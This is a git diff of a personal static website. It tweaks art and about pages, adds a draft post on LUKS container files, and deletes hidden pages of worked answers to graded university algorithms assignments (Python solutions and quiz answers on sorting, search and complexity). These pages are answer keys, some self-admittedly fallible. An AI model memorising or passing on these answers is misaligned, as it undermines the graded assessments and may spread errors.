diff --git a/404.html b/404.html index 39e26835..5c0e22a4 100644 --- a/404.html +++ b/404.html @@ -1 +1 @@ -404 Page not found - lavafroth

404

\ No newline at end of file +404 Page not found - lavafroth

404

\ No newline at end of file diff --git a/about/index.html b/about/index.html index cf1cd123..a533094a 100644 --- a/about/index.html +++ b/about/index.html @@ -16,4 +16,4 @@ consider contributing to them or donating.

Thank you to all the institutio organizations such as Khan Academy, who provide OpenCourseWare and make education accessible.

Certifications

Petty things recruiters seem to care about.

Google Summer of Code 2024

TryHackMe Advent Of Cyber 2020 Certificate

TryHackMe Advent Of Cyber 2021 Certificate

Harvard CS50 2022 Certificate

Harvard CS50 AI 2022 Certificate

Intro to Deep Learning Kaggle Certificate

Intro to Machine Learning Kaggle Certificate

Intermediate Machine Learning Kaggle Certificate

Intro to Game AI and Reinforcement Learning

Send me a private message

You can send me a private message by encrypting it with my public SSH keys -and mailing it to 107522312+lavafroth@users.noreply.github.com.

\ No newline at end of file +and mailing it to 107522312+lavafroth@users.noreply.github.com.

\ No newline at end of file diff --git a/art/amateur-blender-sculpture/index.html b/art/amateur-blender-sculpture/index.html index 15a95a3a..47d36c6f 100644 --- a/art/amateur-blender-sculpture/index.html +++ b/art/amateur-blender-sculpture/index.html @@ -6,4 +6,4 @@ jumpscare.'>Nichole Sebastian for the reference photo. Also apologies if the empty eye sockets gave you a -jumpscare.

\ No newline at end of file +jumpscare.

\ No newline at end of file diff --git a/art/drowning/index.html b/art/drowning/index.html index f31db0b1..63e6d15a 100644 --- a/art/drowning/index.html +++ b/art/drowning/index.html @@ -1 +1 @@ -Drowning - lavafroth

Jun 18, 2024

Drowning

A cyborg head sinking in a pool of water. What more did you expect? Here’s a timelapse.

\ No newline at end of file +Drowning - lavafroth

Jun 18, 2024

Drowning

A cyborg head sinking in a pool of water. What more did you expect? Here’s a timelapse.

\ No newline at end of file diff --git a/art/index.html b/art/index.html index 0b032e62..5de34489 100644 --- a/art/index.html +++ b/art/index.html @@ -9,4 +9,4 @@ or remixing them.


Throwing knives


Truce


She's a Rebel


-
\ No newline at end of file + \ No newline at end of file diff --git a/art/shes-a-rebel/index.html b/art/shes-a-rebel/index.html index 894a8ddf..7f42aeb7 100644 --- a/art/shes-a-rebel/index.html +++ b/art/shes-a-rebel/index.html @@ -1 +1 @@ -She's a Rebel - lavafroth

Apr 17, 2022

She's a Rebel

Clearly the title was an afterthought.

\ No newline at end of file +She's a Rebel - lavafroth

Apr 17, 2022

She's a Rebel

Clearly the title was an afterthought.

\ No newline at end of file diff --git a/art/sparkles/index.html b/art/sparkles/index.html index 0fd133f7..53a64376 100644 --- a/art/sparkles/index.html +++ b/art/sparkles/index.html @@ -1 +1 @@ -✨ - lavafroth

Jul 15, 2025

\ No newline at end of file +✨ - lavafroth

Jul 15, 2025

\ No newline at end of file diff --git a/art/thiserror/index.html b/art/thiserror/index.html index 185a16f5..bf8bb53f 100644 --- a/art/thiserror/index.html +++ b/art/thiserror/index.html @@ -2,4 +2,4 @@ lawyer ferris as my mascot both due to ferris being in the public domain as well as the sheer memeworthiness of the debacle.'>

Jun 18, 2024

This Error

My first hand drawn YouTube thumbnail, I’m might continue using lawyer ferris as my mascot both due to ferris being in the public domain -as well as the sheer memeworthiness of the debacle.

\ No newline at end of file +as well as the sheer memeworthiness of the debacle.

\ No newline at end of file diff --git a/art/tyler-joseph-portrait/index.html b/art/tyler-joseph-portrait/index.html index 552c9da9..2c5bcd34 100644 --- a/art/tyler-joseph-portrait/index.html +++ b/art/tyler-joseph-portrait/index.html @@ -1,3 +1,3 @@ Truce - lavafroth

Jul 23, 2022

Truce

A painting of the lead vocalist of Twenty Øne Piløts, named -after one of my favorite songs from their album Vessel.

\ No newline at end of file +after one of my favorite songs from their album Vessel.

\ No newline at end of file diff --git a/art/wip-animation/index.html b/art/wip-animation/index.html index 3f54951a..4e5629da 100644 --- a/art/wip-animation/index.html +++ b/art/wip-animation/index.html @@ -1 +1 @@ -Throwing knives - lavafroth

Jan 19, 2024

Throwing knives

An unfinished animation with a focus on anatomy. Thank you Polina Tankilevitch for the reference video.

\ No newline at end of file +Throwing knives - lavafroth

Jan 19, 2024

Throwing knives

An unfinished animation with a focus on anatomy. Thank you Polina Tankilevitch for the reference video.

\ No newline at end of file diff --git a/divmqbyvl9y/index.html b/divmqbyvl9y/index.html deleted file mode 100644 index c1ed1225..00000000 --- a/divmqbyvl9y/index.html +++ /dev/null @@ -1,263 +0,0 @@ -w8 - lavafroth

w8

GRPA 1

def findOccOf(arr, x):
-    lo = 0
-    hi = len(arr) - 1
-
-    loval = None
-    while lo <= hi:
-        mid = (lo + hi) // 2
-        c = arr[mid]
-        if x < c:
-            hi = mid - 1
-        elif x > c:
-            lo = mid + 1
-        elif x == c:
-            loval = loval or mid
-            loval = min(loval, mid)
-            hi = mid - 1
-
-    lo = 0
-    hi = len(arr) - 1
-    hival = None
-    while lo <= hi:
-        mid = (lo + hi) // 2
-        c = arr[mid]
-        if x < c:
-            hi = mid - 1
-        elif x > c:
-            lo = mid + 1
-        elif x == c:
-            hival = hival or mid
-            hival = max(hival, mid)
-            lo = mid + 1
-
-
-    return loval, hival
-

GRPA 2

def merge_inversion(left, right):
-    merged = []
-    count = 0
-
-    i, j = 0, 0
-
-    m = len(left)
-    n = len(right)
-    while i + j < m + n:
-        if j == n or (i != m and left[i] < right[j]):
-            merged.append(left[i])
-            i += 1
-            continue
-
-        merged.append(right[j])
-        j += 1
-        count += m - i
-
-    return merged, count
-
-
-def sort_and_count(arr):
-    n = len(arr)
-    if n == 1:
-        return arr, 0
-    left = arr[: n // 2]
-    right = arr[n // 2 :]
-
-    left, count_left = sort_and_count(left)
-    right, count_right = sort_and_count(right)
-    merged, count_both = merge_inversion(left, right)
-
-    return (merged, count_left + count_right + count_both)
-
-def countIntersection(a, b):
-    tuples = sorted(zip(a, b))
-    b = [t[1] for t in tuples]
-    return sort_and_count(b)[1]
-

GRPA 3

dist = lambda a, b: ((a[0]-b[0])**2 + (a[1]-b[1])**2)**.5
-
-def closest_pair(Px, Py):
-    n = len(Px)
-    if n <= 3:
-        min_d = float('inf')
-        for i in range(n):
-            for j in range(i + 1, n):
-                min_d = min(min_d, dist(Px[i], Px[j]))
-        return min_d
-
-    mid = n // 2
-    Qx = Px[:mid]
-    Rx = Px[mid:]
-    mid_point = Qx[-1][0]
-
-    Qy = []
-    Ry = []
-    for p in Py:
-        if p[0] <= mid_point:
-            Qy.append(p)
-        else:
-            Ry.append(p)
-
-    min_d = min(closest_pair(Qx, Qy), closest_pair(Rx, Ry))
-
-    Sy = [p for p in Py if mid_point - min_d <= p[0] <= mid_point + min_d]
-    for i in range(len(Sy)):
-        for j in range(i + 1, len(Sy)):
-            if Sy[j][1] - Sy[i][1] >= min_d:
-                break
-            min_d = min(min_d, dist(Sy[i], Sy[j]))
-
-    return min_d
-
-
-def minDistance(points):
-    Px = sorted(points, key=lambda p: p[0])
-    Py = sorted(points, key=lambda p: p[1])
-    return round(closest_pair(Px, Py), 2)
-

GRPA 4

def mid(a):
-    if len(a) <= 7:
-        return sorted(a)[len(a)//2]
-        
-    m = []
-    for i in range(0,len(a), 7):
-        m.append(mid(a[i:i+7]))
-    
-    return mid(m)
-
-def MoM7Pos(arr):
-    m = mid(arr)
-    pos = 0
-    for x in arr:
-        if x < m:
-            pos += 1
-    return pos
-
\ No newline at end of file diff --git a/ilrlmvakdlx9uwodtocdbg/index.html b/ilrlmvakdlx9uwodtocdbg/index.html deleted file mode 100644 index 640ef431..00000000 --- a/ilrlmvakdlx9uwodtocdbg/index.html +++ /dev/null @@ -1,172 +0,0 @@ -for seshu baby mwa mwa - lavafroth

for seshu baby mwa mwa

Update: I have added the GA 2 sols as well. Please take them with a grain of salt obviously -I am also fallible to mistakes.

AQ2.1

  1. O(n2) O(n^2)
  2. O(n log n) O(n\ log\ n)
  3. O(n3) O(n^3)
  4. O(n+log m) O(n + log\ m)
  5. O(log n) O(log\ n)
  6. O(n2 log n) O(n^2\ log\ n)

AQ2.2

  1. O(log n) O(log\ n)
  2. 5
  3. 3
  4. 3
  5. 2
  6. Multiple options:
    • It works only on sorted arrays.
    • It has a best-case time complexity of O(1).

AQ2.3

Selection sort always makes n(n-1)/2 comparisons which is of order O(n2) O(n^2)

  1. 3
  2. 15
  3. 45
  4. Multiple options:
    • [4, 4, 3, 5, 6]
    • [7, 2, 8, 7, 3]
    • [9, 1, 4, 9, 5]
  5. Multiple options:
    • It is an in-place algorithm.
    • It performs O(n2) O(n^2) comparisons in the worst case.
  6. n/2 \lceil{n/2}\rceil In this case, you narrow the window of comparison on both sides by 1

AQ2.4

  1. 7
OriginalShift
[8, 5, 2, 9, 1]4 shifts
[1, 8, 5, 2, 9]2 shifts
[1, 2, 8, 5, 9]1 shift
[1, 2, 5, 8, 9]

Total 7

  1. 6
OriginalShift
[4, 3, 2, 1]3 shifts
[1, 4, 3, 2]2 shifts
[1, 2, 4, 3]1 shift
[1, 2, 3, 4]

Total 6

  1. 0
  2. 10
  3. 10
  4. array[j] > key → array[j] < key
  5. O(n) O(n)

AQ2.5

Merging two sorted lists of size mm and nn takes worst case m+n1m + n - 1 comparisons

  1. 14
  2. To combine two sorted sublists into a single sorted list.
  3. Multiple options:
    • It is a divide-and-conquer algorithm
    • It requires additional space proportional to the size of the input list.
    • It is stable.
  4. 4
  5. T(n)=2T(n/2)+nT(n) = 2T(n/2) + n
  6. 6
  7. Merge Sort has the same time complexity O(n log n) O(n\ log\ n) for best, worst, and average cases.
  8. 133
  9. 89
  10. 275

GA 2

1. What is the time complexity of the function?

def fun(n):
-   total = 0
-   for i in range(n):
-      total += i
-
-   k=0
-   for i in range(n):
-      for j in range(n):
-         k += i * j
-         for l in range(5):
-            k=1
-
-   for i in range(1000):
-      total -= 1
-   return total + k
-

The second block with nested loops is the bottleneck, it has two loops, implying O(n×n)=O(n2) O(n \times n) = O(n^2) . -The other loops are linear O(n) O(n) and only this second block will dominate. The answer is the dominating term.

O(n2) O(n^2)


2. What is the time complexity of the function?

def func(n):
-   s=0
-   if n <= 0:
-      return 0
-   for i in range(n):
-      j= 0
-      while j * j <n:
-         s += j
-         j += 1
-   return s
-

The outer loop goes for nn times. The inner loop runs as long as the iterator satisfies

j×jn j \times j \le n

which can be rewritten as

jn j \le \sqrt n

Thus, the number of operations after nesting the two loops is

O(nn) O(n \sqrt n)

3. Let Tbest(n),Tavg(n),Tworst(n)T_{best}(n),T_{avg}(n),T_{worst}(n) be the best-case, average-case, and worst-case running times of an algorithm, respectively, executed on an input of size nn. Select the correct statements.

Rule of thumb: Tbest(n)Tavg(n)Tworst(n)T_{best}(n) \le T_{avg}(n) \le T_{worst}(n)

In plain words: When the algorithm gets lucky with an easy input, which is the best case Tbest(n)T_{best}(n), the time it takes is obviously less than the average case Tavg(n)T_{avg}(n). -Similarly, Tavg(n)Tworst(n)T_{avg}(n) \le T_{worst}(n).

Now let’s see the correct options.

Tbest(n)=O(Tavg(n))T_{best}(n) = O(T_{avg}(n))

Big O notation means the upper bound. The time taken for the best case is upper bounded by the time taken by the average case.

Tworst(n)=Ω(Tavg(n))T_{worst}(n) = \Omega(T_{avg}(n))

Ω\Omega notation means the lower bound. The time taken for the worst case is lower bounded by the time taken by the average case.

If Tbest(n)=Θ(n2)T_{best}(n) = \Theta(n^2) and Tworst(n)=Θ(n2)T_{worst}(n) = \Theta(n^2), then Tavg(n)=Θ(n2)T_{avg}(n) = \Theta(n^2)

If the best and worst cases are tightly bound,

Remember, Θ\Theta notation is the sandwich between O and Ω\Omega bounds

then the average case is also sandwiched in between by the same tight bound.


4. How many effective swaps are performed by selection sort on [5, 2, 8, 2, 4]?

Look, I did this with python because I was feeling lazy, you can do it in your head or on paper as well. Sorri baby, I was tired.

Answer is 3.


5. Select correct statements about the given insertion sort implementation.


6. You are implementing binary search on a sorted array that may contain duplicate values of the target element X . You need to find the index of the last occurrence of X. If an instance of X is found at L[mid], how should the search proceed to find the last possible occurence.

Store mid as a potential answer and continue searching in the right subarray by setting low = mid + 1 .


7. A school wants to maintain a database of its students. Each student has a unique id and it is stored along with other details. Adding a new student with a unique id, searching for a student using their id, and removal of students are the frequent operations performed on the database. From the options given below, choose the most efficient technique to store the data.

Maintain a sorted list with id. Whenever a new student is added, insert the student details into the respective position in the sorted list by id.


8. Find the time complexity of the function:

def tsearch(L, x):
-   global c
-   c += 1
-   n = len(L)
-
-   if n==0:
-      return False
-
-   if L[n // 3] == x:
-      return True
-
-   if L[2 * n // 3] == x:
-      return True
-
-   if x < L[n // 3]:
-      return tsearch(L[:n // 3], x)
-   elif x > L[2 * n // 3]:
-      return tsearch(L[2 * n // 3:], x)
-   else:
-      return tsearch(L[n // 3 : 2 * n// 3], x)
-

This is basically a spin on the binary search algorithm except that instead of dividing the search space into half every time, you are dividing it by 3.

All such divide-and-conquer algorithms take O(log n)O(log\ n) time.


9. Arrange the following functions in increasing order of asymptotic complexity.

f1(n)=3n+log(n)f2(n)=log(n)2f3(n)=log(log(n))f4(n)=100log(n)f5(n)=3n log(n) -\begin{aligned} -f_1(n) = 3n + log(n)\\ -f_2(n) = log(n)^2\\ -f_3(n) = log(log(n))\\ -f_4(n) = 100log(n)\\ -f_5(n) = 3n\ log(n) -\end{aligned} -

Here, f3(n)=log(log(n))f_3(n) = log(log(n)) grows very very slowly.

between the next f4(n)=100log(n)f_4(n) = 100log(n) and f5(n)=3n log(n)f_5(n) = 3n\ log(n)

f3(n)<f4(n)<f2(n)<f1(n)<f5(n) f_3(n) < f_4(n) < f_2(n) < f_1(n) < f_5(n)

10. Correct relationship of function growths

f(n)=Ω(g(n)), g(n)=O(h(n)) -f(n) = \Omega(g(n)),\ g(n) = O(h(n)) -

11. Recursively check the midpoints for this one.

94, 150, 99


12. What will be the number of swaps that the following Insertion sort?

insertion sort considers the first chunck of the array to be sorted, finds the smallest element beyond this chunk -and inserts it (or bubbles it up as I like to think of it) into the pre sorted chunk.

Initially, this chunk is of size 1 because 1 element is sorted by definition.

Original: [38, 28, 43, 22, 112, 33, 39]

OriginalSwapsElement that bubbled up
[28, 38, 43, 22, 112, 33, 39]138
[22, 28, 38, 43, 112, 33, 39]322
[22, 28, 33, 38, 43, 112, 39]333
[22, 28, 33, 38, 39, 43, 112]239

Total swaps: 9

13. Stable sort [(8, 1), (7, 5), (6, 1), (2, 5), (5, 2), (9, 0)] according to the y value of (x, y) pairs.

Stable sort means the order of equally valued objects is not perturbed. If both of us have equal grades in a subject, -and in the score list your name is before mine, it should stay that way after sorting.

[(9, 0), (8, 1), (6, 1), (5, 2), (7, 5), (2, 5)]

14. Perform two way merge, how many comparisons?

all of the elements of L1 come before L2. This means there will be min(len(L1),len(L2))min(len(L1), len(L2)) comparisons.

min(len(L1),len(L2))=3 min(len(L1), len(L2)) = 3

L3 and L4 have interleaving elements. This is the worst case where the number of comparisons is

m+n1=3+31=5 -\begin{aligned} -m + n - 1\\ -= 3 + 3 - 1 = 5 -\end{aligned} -

For the two new lists, all elements of

[1,2,3,4,5,6]

come before elements of

[7,8,9,10,11,12]

min(len(L1),len(L2))=6 min(len(L1), len(L2)) = 6

Total = 6 + 5 + 3 = 14

GRPAs

1. String sorting question

This has two parts:

Here’s the trick to solve the second part, you always sort fields in the reverse order of what they ask for. -So first sort by numbers in descending order, then sort by the starting letters.

Sorri this solution is bit big. You could also use the built in sorted function in python without implementing -merge sort like I did here.

def combinationSort(strList):
-    by_first_letter = lambda v: ord(v[0])
-    by_last_digits = lambda v: int(v[1:])
-    sorted_0 = mergesort(strList, by_first_letter)
-
-    sorted_1 = mergesort(strList, by_last_digits, ascending=False)
-    sorted_1 = mergesort(sorted_1, by_first_letter)
-    return sorted_0, sorted_1
-
-
-def merge(a, b, by, ascending=True):
-    i, j = 0, 0
-    m, n = len(a), len(b)
-    c = []
-    while i + j != m + n:
-        if i == m:
-            return c + b[j:]
-        if j == n:
-            return c + a[i:]
-
-        a_ = a[i]
-        b_ = b[j]
-        # this XOR will flip the comparison
-        if ascending ^ (by(a_) > by(b_)):
-            i += 1
-            c.append(a_)
-        else:
-            j += 1
-            c.append(b_)
-    return c
-
-
-def mergesort(v, by, ascending=True):
-    n = len(v)
-    if n == 1:
-        return v
-
-    l = mergesort(v[: n // 2], by, ascending)
-    r = mergesort(v[n // 2 :], by, ascending)
-    return merge(l, r, by, ascending)
-

2. Given an ascending list is rotated, find the biggest element.

We will do a binary search. to calculate the midpoint, we need to know the start and the end indices. -I call them head and tail respectively.

def findLargest(array):
-    head, tail = 0, len(array) - 1
-

If we want the largest element, it will be found in a slice of the array that is sorted in ascending order. -We check that as the loop condition.

    while array[head] > array[tail]:
-

Calculate the midpoint every iteration.

        mid = (head + tail) // 2
-

If the middle element is greater than the last element, it might look like this:

        if array[mid] > array[tail]:
-            head = mid
-

Observe that the left half of the midpoint is useless in this case. Therefore, we set the new head to the midpoint.

        else:
-            tail = mid - 1
-

The opposite case might look like this:

In such a case, the midpoint along with anything to its right is useless. We throw that part away by reassigning tail to mid - 1.

Finally we return the last (standing) array element.

    return array[tail]
-
def findLargest(array):
-    head, tail = 0, len(array) - 1
-    while array[head] > array[tail]:
-        mid = (head + tail) // 2
-        if array[mid] > array[tail]:
-            head = mid
-        else:
-            tail = mid - 1
-    return array[tail]
-

3. Perform merge on two lists via swaps only

The swap function works as list_a.swap(index_a, list_b, index_b) which is part of their custom implementation.

The trick is to treat A and B as a contiguous array: A + B

Any index i smaller than len(A) will index into A, anything bigger will index into B at offset i-len(A).

The index function returns which array the current contiguous indexer indexes into and at what offset.

The rest of the mergeInPlace function body performs selection sort.

def index(A, B, x):
-    return (A, x) if x < len(A) else (B, x - len(A))
-
-def swap(A, B, x, y):
-    source, source_offset = index(A, B, x)
-    target, target_offset = index(A, B, y)
-    source.swap(source_offset, target, target_offset)
-
-def mergeInPlace(A, B):
-    value_at = lambda x: A[x] if x < len(A) else B[x - len(A)]
-    
-    size = len(A) + len(B)
-    for i in range(size-1):
-        smallest_index = min(range(i, size), key=value_at)
-        swap(A, B, i, smallest_index)
-
\ No newline at end of file diff --git a/index.html b/index.html index 7ea0ce33..b4caf17c 100644 --- a/index.html +++ b/index.html @@ -1,4 +1,4 @@ -lavafroth

Algebraic Python Enums


Python +lavafroth
\ No newline at end of file +
\ No newline at end of file diff --git a/index.xml b/index.xml index ee2684c9..1b99c0f3 100644 --- a/index.xml +++ b/index.xml @@ -1,4 +1,10 @@ -lavafrothhttps://lavafroth.is-a.dev/Recent content on lavafrothHugoen-usSun, 02 Nov 2025 19:08:46 +0530Algebraic Python Enumshttps://lavafroth.is-a.dev/post/algebraic-python-enums/Sun, 02 Nov 2025 19:08:46 +0530https://lavafroth.is-a.dev/post/algebraic-python-enums/<p>University has compelled me to use Python despite my preference for Rust, +lavafrothhttps://lavafroth.is-a.dev/Recent content on lavafrothHugoen-usThu, 01 Jan 2026 07:24:36 +0530Working With LUKS File Stasheshttps://lavafroth.is-a.dev/post/working-with-luks-file-stashes/Thu, 01 Jan 2026 07:24:36 +0530https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/<p><code>THIS POST IS A DRAFT</code></p> +<p>LUKS is an incredible solution for encrypting entire partitions in Linux. +Often times, however, we can&rsquo;t afford to create new partitions inside a disk +without having to completely format the drive anew.</p> +<p>In this post, I will guide you through the process of creating and working +with LUKS container files that are encrypted at rest and can be decrypted on +demand with knowledge of the passphrase.</p>Algebraic Python Enumshttps://lavafroth.is-a.dev/post/algebraic-python-enums/Sun, 02 Nov 2025 19:08:46 +0530https://lavafroth.is-a.dev/post/algebraic-python-enums/<p>University has compelled me to use Python despite my preference for Rust, primarily due to the machine learning and data science hype. One Rust feature that I dearly miss is enumerable data types that can encapsulate various other data types.</p> @@ -9,246 +15,7 @@ versions, most tutorials will suggest <code>Union</code> types as th enums.</p> <blockquote> <p>I highly encourage you to try out the code snippets and follow along with this article. -Use the collapse explanation button to copy multiple code blocks in one go.</p>note skta4v7n8h8https://lavafroth.is-a.dev/skta4v7n8h8/Fri, 31 Oct 2025 20:24:35 +0530https://lavafroth.is-a.dev/skta4v7n8h8/<h1 id="grpa-1">GrPA 1</h1> -<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> typing <span style="color:#f92672">import</span> List -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">constructWord</span>(s: str, chunks: List[str]) <span style="color:#f92672">-&gt;</span> List[List[str]]: -</span></span><span style="display:flex;"><span> memo <span style="color:#f92672">=</span> {} -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">solve</span>(remaining_suffix: str) <span style="color:#f92672">-&gt;</span> List[List[str]]: -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> remaining_suffix: -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> [[]] -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> remaining_suffix <span style="color:#f92672">in</span> memo: -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> memo[remaining_suffix] -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> possible_combos <span style="color:#f92672">=</span> [] -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> chunk <span style="color:#f92672">in</span> chunks: -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> remaining_suffix<span style="color:#f92672">.</span>startswith(chunk): -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">continue</span> -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> leftover_results <span style="color:#f92672">=</span> solve(remaining_suffix[len(chunk):]) -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> leftover_results: -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">continue</span> -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> rest <span style="color:#f92672">in</span> leftover_results: -</span></span><span style="display:flex;"><span> possible_combos<span style="color:#f92672">.</span>append([chunk] <span style="color:#f92672">+</span> rest) -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> memo[remaining_suffix] <span style="color:#f92672">=</span> possible_combos -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> possible_combos -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> solve(s) -</span></span></code></pre></div><h1 id="grpa-2">GrPA 2</h1> -<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> numpy <span style="color:#66d9ef">as</span> np -</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">MaxCoinPath</span>(M, x1, y1, x2, y2): -</span></span><span style="display:flex;"><span> M <span style="color:#f92672">=</span> np<span style="color:#f92672">.</span>array(M, dtype<span style="color:#f92672">=</span>int)[x1:x2<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>, y1:y2<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>] -</span></span><span style="display:flex;"><span> cost <span style="color:#f92672">=</span> np<span style="color:#f92672">.</span>zeros((M<span style="color:#f92672">.</span>shape[<span style="color:#ae81ff">0</span>]<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>, M<span style="color:#f92672">.</span>shape[<span style="color:#ae81ff">1</span>]<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>), dtype<span style="color:#f92672">=</span>int) -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(M<span style="color:#f92672">.</span>shape[<span style="color:#ae81ff">0</span>]<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>): -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> j <span style="color:#f92672">in</span> range(M<span style="color:#f92672">.</span>shape[<span style="color:#ae81ff">1</span>]<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>): -</span></span><span style="display:flex;"><span> cost[i, j] <span style="color:#f92672">=</span> max(M[i, j] <span style="color:#f92672">+</span> cost[i<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>, j], M[i, j] <span style="color:#f92672">+</span> cost[i, j<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>]) -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> cost[<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">0</span>] -</span></span></code></pre></div><h1 id="grpa-3">GrPA 3</h1> -<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">LDS</span>(arr): -</span></span><span style="display:flex;"><span> n <span style="color:#f92672">=</span> len(arr) -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> n <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>: -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> [] -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> memo <span style="color:#f92672">=</span> [<span style="color:#ae81ff">1</span>] <span style="color:#f92672">*</span> n -</span></span><span style="display:flex;"><span> parent <span style="color:#f92672">=</span> [<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>] <span style="color:#f92672">*</span> n -</span></span><span style="display:flex;"><span> max_len <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span> -</span></span><span style="display:flex;"><span> end_index <span style="color:#f92672">=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(n): -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> j <span style="color:#f92672">in</span> range(i): -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> arr[i] <span style="color:#f92672">&lt;</span> arr[j] <span style="color:#f92672">and</span> memo[i] <span style="color:#f92672">&lt;</span> memo[j] <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>: -</span></span><span style="display:flex;"><span> memo[i] <span style="color:#f92672">=</span> memo[j] <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span> -</span></span><span style="display:flex;"><span> parent[i] <span style="color:#f92672">=</span> j -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> memo[i] <span style="color:#f92672">&gt;</span> max_len: -</span></span><span style="display:flex;"><span> max_len <span style="color:#f92672">=</span> memo[i] -</span></span><span style="display:flex;"><span> end_index <span style="color:#f92672">=</span> i -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> subsequence <span style="color:#f92672">=</span> [] -</span></span><span style="display:flex;"><span> current_index <span style="color:#f92672">=</span> end_index -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> current_index <span style="color:#f92672">!=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>: -</span></span><span style="display:flex;"><span> subsequence<span style="color:#f92672">.</span>append(arr[current_index]) -</span></span><span style="display:flex;"><span> current_index <span style="color:#f92672">=</span> parent[current_index] -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> subsequence[::<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>] -</span></span></code></pre></div>secret note jfgp3d7rrx0https://lavafroth.is-a.dev/jfgp3d7rrx0/Tue, 28 Oct 2025 16:09:00 +0530https://lavafroth.is-a.dev/jfgp3d7rrx0/<p>There will be an explanation for non-trivial questions.</p> -<h1 id="activity-1">Activity 1</h1> -<h2 id="1">1</h2> -<p>Dijkstra&rsquo;s algorithm guarantees finding the shortest path from a single source to all other vertices under which of the following conditions?</p> -<p><strong>Answer:</strong> All edge weights must be non-negative.</p> -<h2 id="2">2</h2> -<p>Consider an undirected graph with 5 vertices <span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><msub><mi>V</mi><mn>0</mn></msub><mo separator="true">,</mo><msub><mi>V</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>V</mi><mn>2</mn></msub><mo separator="true">,</mo><msub><mi>V</mi><mn>3</mn></msub><mo separator="true">,</mo><msub><mi>V</mi><mn>4</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(V_0, V_1, V_2, V_3, V_4)</annotation></semantics></math></span>. At a certain point -in Dijkstra&rsquo;s algorithm (starting from <span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>V</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">V_0</annotation></semantics></math></span>), the current tentative distances are: -<span class="katex"><math 